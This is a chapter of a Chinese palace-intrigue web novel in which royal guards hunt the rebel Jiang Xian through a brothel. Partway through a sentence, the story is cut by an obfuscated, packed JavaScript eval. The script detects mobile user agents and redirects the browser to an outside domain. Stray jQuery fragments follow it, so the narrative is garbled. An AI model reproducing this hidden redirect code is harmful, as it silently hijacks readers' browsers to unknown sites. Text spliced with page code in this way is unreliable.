163.搜寻

作品:《家破人亡后我重生了

    屋外游万洲寻了个隐秘的地,叫来影一,问:“将你知道的事统统说来,为什么突然来京了,蒋献现在何处?”


    影一跪地汇报,将他们被蒋飞叶引走后一路寻摸打听,终于在今日摸到村庄,听见惠芷玉大喊那声李常安的事描述了一遍。游万洲面无表情地听着,问:“蒋献不在?”


    “他不在,蒋飞叶在,但没有出来阻拦。”影一答。


    “那个村子在哪?”游万洲问。


    片刻后,游万洲策马求见入宫。华光帝很快接见了他,他往陛下面前一跪,“臣侄发现了逆贼蒋献藏身的村子,恳请陛下准许派兵包围、在京城搜寻逆贼。”


    “哦?”华光帝单眉一挑,“准了,事后跟朕说说怎么发现的。”


    “是。”


    没过多久,王府里一大队侍卫由队长率领着,浩浩汤汤奔往京郊。游万洲在王府内并未前往围剿,因为他正在对另一支队伍发放画像下令:“全京城搜寻此人,他名蒋献,妄图谋逆造反,找到后就地格杀。”


    ------


    四皇子游高阳坐在马车上晃悠,满京城乱逛。从游万洲的宴会出来后,三哥被三嫂唤走,段宇回府陪他那小妾,徒留他一人玩什么都不痛快。


    虽然娘在宫里,但他前段日子刚见识了太子斩除二皇子党羽的场面,把宫城地面泼得血呼一片,令人短时间都不想再踏足宫闱。


    不过或许之后长时间就会安生许多,太子就要迎娶高家的小姐了,喜气总能冲淡煞气。游高阳托腮支在窗口看街边,街边两个男人的对话声落入耳中。


    “钱带够了吧,要见沙罗姑娘一面可不容易哩。”


    “那还用说,我攒了一个月的银子,就是为了今天!走走走,现在去逍遥居,沙罗姑娘肯定出场了!”


    游高阳竖着的耳朵动了动。逍遥居的头牌不是粉黛吗,这个沙罗又是什么人?于是他开口对马夫道:“去逍遥居,小爷我倒是要看看这沙罗是什么人。”


    马车晃晃悠悠穿过人潮,停在灯红酒绿的三层楼前,游高阳揣了把折扇握在手上,轻松惬意地迈步入内,身后侍从捏着钱袋紧紧跟随。


    刚入楼内,老鸨挤开一群男客笑呵呵地迎了上来:“四爷,您今儿个来巧了,我们楼最近刚得了个西域美人沙罗,今日是她首次出台,这沙罗舞姿可谓一绝,一定能让您大饱眼福。”


    “是吗?西域女子的舞我也见过不少,你话别说太满了,”游高阳挑眉折身朝向步梯,“不过既然敢这么夸口,那就让我见识见识吧。”


    掀开帘布进入三楼他惯用的厢房,惬意靠上躺椅,眼前是特意做出的一扇透窗,能清晰看见高台上发生的一切。


    没过一会儿,就有楼内侍女端着瓜果点心排队进入,个个都苗条水灵。不过游高阳今日不是来看她们的,挥手令她们退下,插了块蜜瓜边吃边等着沙罗亮相。


    起初他还能挂着笑惬意欣赏高台上其余女子的琴棋书画表演,直到第三盘果子上来,一楼的窃窃私语已经大到他在厢房都能得见。游高阳的脸色才逐渐凝下,叫侍从唤来老鸨,他问:“沙罗呢?”


    “四爷,实在不好意思,”老鸨捏紧手帕擦着面上薄汗,“沙罗她,染了风寒,的确是站不起来了……我让粉黛出来演一场,再让她来伺候您做赔罪可好?”


    这倒是稀奇事。游高阳摇晃着扇子一脸兴味,“这么巧,在出台的这个时辰染病?”


    “是啊,是啊,太巧了,我也没想到啊爷……”老鸨挤出笑来,转身跟身边姑娘说,“快去叫粉黛。”


    “诶,不用,”游高阳左右摆着扇子,面露好奇,“沙罗还在楼里吧。”


    “是的,但她现在烧得厉害,爷啊,您可要保重贵体,千万不要——”老鸨反应过来他要做什么,连忙劝阻,但游高阳不甚在意,说:“带我过去,哪怕见不到舞,也得见见人啊。”


    有钱有闲又有权的皇子是很难阻拦的,至少凭区区一个逍遥居老鸨,根本无能为力。


    她只得派侍女赶紧先去沙罗房中,叫她准备准备,别让贵客见着难堪一面,赔笑又赔礼,领游高阳朝青楼女子住居过去。


    拐过一条连廊,迎面走来一个面容英俊的年轻男子,游高阳好奇地望他一眼,男子目不斜视错身而过下了楼。这看起来可不像青楼内的侍从,他问:“这里靠近女子居处,怎么有个男人?”


    “这男子是楼里青翠的兄长,时而会来探望,爷,再往前走走就是沙罗的房间了,您请。”老鸨满面笑容地躬身,游高阳点头随她走。


    房内灯光昏暗,在门外就已经听见压抑的几声咳嗽。游高阳敛神敲敲门,道:“沙罗姑娘,方便见否?”


    “咳,早就听过四爷美名,只要您不嫌,沙罗没有不方便。”哪怕是咳声也盖不住她嗓音的纯细悦耳,游高阳轻推开门,房内烛火摇曳,随门扉敞开逐渐亮起。


    昏暗中美人身披薄纱,引人遐思,而烛光渐亮中显出她的面容,分明是明艳大方的长相,此刻却因病气白了三分,显得楚楚动人。


    游高阳将折扇在手头敲了两下,惊叹:“病成这样还能给出此等惊喜,你们这逍遥居以后怕是要有两个艳绝群芳的头牌啊。”


    老鸨又用手帕擦了擦汗,笑着:“爷说得是,您若是想要沙罗作陪——”


    “不用了,我只是好奇,”游高阳耸耸肩,笑着瞧一眼呆在房中的沙罗,“病好要重新出台时,记得往恭王府递个信。”说罢折身潇洒离去。


    沙罗与老鸨双双傻眼,还是老鸨反应快,连忙叮嘱一句好好养病,给她关上门去送四爷。


    心满意足的游高阳出逍遥居,坐回马车让他们回恭王府,沿途一路扇风看景,就见身着信王府侍卫装的一队人马拿着一把画像正在街边商铺一个个钻行。


    “停车。”游高阳迅速下车凑上前去,用扇子敲了一下拿画像的侍卫肩头,“找谁呢,让我瞅瞅。”


    侍卫扭脸一惊,连忙行礼,“四殿下!殿下让我们找这个名叫蒋献的男人,您请过目。”双手捧起画像呈递面前。


    打眼一看这画惟妙惟肖,定然是万洲手笔。通缉令还需要他亲自画?游高阳疑惑蹙眉,仔细瞧着这人眉眼。


    长眉、叶眼、高鼻、薄唇,英俊的年轻男子,有些眼熟……他嘶了一声冥思苦想,灵光终于窜出,握拳砸向手心,逍遥居青楼女子居处与


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210604|165583||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他错身而过的那人不就长这样?说:“我见过这人,他之前还在逍遥居楼内呢,万洲为何要找他?”


    “什么,在逍遥居!”侍卫已经顾不得礼数,连忙唤人直奔逍遥居,抽空回道:“此人是妄图谋逆的贼子,四殿下,属下先走一步!”


    “啊?谋逆,”游高阳懵着挠了挠头,侍卫骑着马越跑越远,他忽然打了个寒颤,“谋逆?!”


    这热闹有点大。游高阳有些心焦,快速狂扇扇子,扯过车前一匹马翻身而上,重奔逍遥居。


    之前还遍地男欢女唱的逍遥居,如今已经惊叫慌乱成一片。信王府侍卫层层看守已经控制住整栋逍遥居的楼,游高阳正欲进门,被侍卫队长横手拦住:“四殿下,贼人武功高强,还请您暂时远离。”


    “我记得他的个头身形,你们晓得吗?不晓得就让开,以免他做个伪装就跑了。”游高阳推开侍卫队长的手臂,队长思忖着并未拦截,道:“那就麻烦四殿下协助我们搜寻贼人。”


    谋逆。游高阳身后一串侍卫,随他踢开一扇扇房门,男女□□、弹曲逗乐,每个人都不放过,没有肖似蒋献的男客。


    万洲居然跟这种事扯上关联,他居然什么都不说。再查一间一无所获,游高阳愤懑地摔门,揪来瑟瑟发抖的老鸨,逼问:“青翠的哥哥在哪?”


    “四爷,我也不知道啊……”老鸨吓得脸色煞白。


    “啧,带路!去青翠的房间。”游高阳推她一把,老鸨踉跄摔地,又赶紧起身带路:“爷您请,您请。”


    他难道不知道,父皇就等着抓他把柄,把他赶出京城嘛!就像上次那样!游高阳怒火熊熊燃烧,一掌推开青翠房门,其内几个娇小的姑娘缩在一起朝他磕头。


    “谁是青翠?”游高阳问。


    中间的姑娘惶恐抬头:“我,我就是。”


    “刚才来看你的兄长,他去哪了?”


    “兄长?”青翠面庞闪过一丝疑惑,“青翠没……”


    老鸨骤然插话:“青翠!就在刚才,你哥还来给你送钱想替你赎身呢!他去哪了,是不是回家去了,你家在哪?快告诉四爷!”


    “啊,啊!我家以前在黑市角的布帘子,我也不知道他是不是去那了。”青翠捂住嘴低眉。


    游高阳冷目刺向老鸨,捏紧扇骨朝她肩头猛敲,咔擦一声,老鸨的肩膀垂落,她痛叫着捂住肩头摔倒在地,可怜兮兮地哀求:“爷,四爷……”


    “真当我是傻子不成,”游高阳盯着她,“说,蒋献到底见了谁,现在在哪?”


    “四爷留情,是我。”游高阳闻声转过头去。稍远处,沙罗房间的门扉从内而外被推开,她裹着外袍迎着侍卫的枪尖走出,早已不复方才娇咳病弱之像。


    “把她拿下。”游高阳发令,侍卫逼前将沙罗反扣跪地,她垂着头没有挣扎。


    游高阳又问:“蒋献在哪?”


    “听说您要来见我,我便赶紧催着蒋大人逃了,现在他应该已经离开逍遥居。四爷,可否放鸨母和姐妹们一条生路,她们并不知晓实情,只是我们为了做掩请的外人而已。”沙罗说。


    “这由不得你,带走,继续搜。”游高阳展臂指挥。